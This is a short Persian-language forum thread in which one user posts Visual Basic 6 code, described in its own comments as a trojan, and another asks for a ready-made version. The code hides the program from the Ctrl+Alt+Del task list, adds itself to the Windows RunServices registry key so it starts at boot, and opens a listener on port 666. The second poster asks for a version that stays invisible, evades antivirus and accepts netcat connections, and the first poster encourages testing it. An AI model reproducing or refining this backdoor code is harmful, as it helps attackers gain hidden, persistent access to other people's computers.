كمك در ريجستري

[Payman62]

سلام.

کد:

Private Sub Form_Load()
App.TaskVisible = False 'This hides your aplication from the Ctrl + Alt + Del screen.
'This adds your program to the windows registry so that it starts everytime windows starts
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Winsock1.localport = "666" ' this sets your trojan´s port, you can change it if you want to
Winsock1.Listen 'This sets your trojan to listen for connections
End Sub

[Eblis-248]

عزيزم سلام اين كدي كه دادي تو ويبي چيكارش كنم به يك دكمه دستور بدن كه اين كارو بكنه توضيخ بده يا لطفا يك سورس آماده بگذار راستي ايني كه من مي خواهم يك فايل باشه كا اجراش ميكني هيچ صفحه اي باز نشه فقط پورت 666 رو باز كنه و آنتي هم به هيچ وجه نشناسه و به بشه كه با Net cat به اون وصل شد مرسي و خدانگهدار.

[Payman62]

سلام.
کد آمادست دیگه. دیگه آماده تر از این؟
کامپوننت winsock رو به پروژت اضافه کن و بعد کد رو تست کن. پورت 666 رو باز میکنه ولی نمیدونم آنتی گیر میده یا نه. خودت تست بکن دیگه.
راستی فکر فکر نمیکنم بشه با nc بهش وصل شد.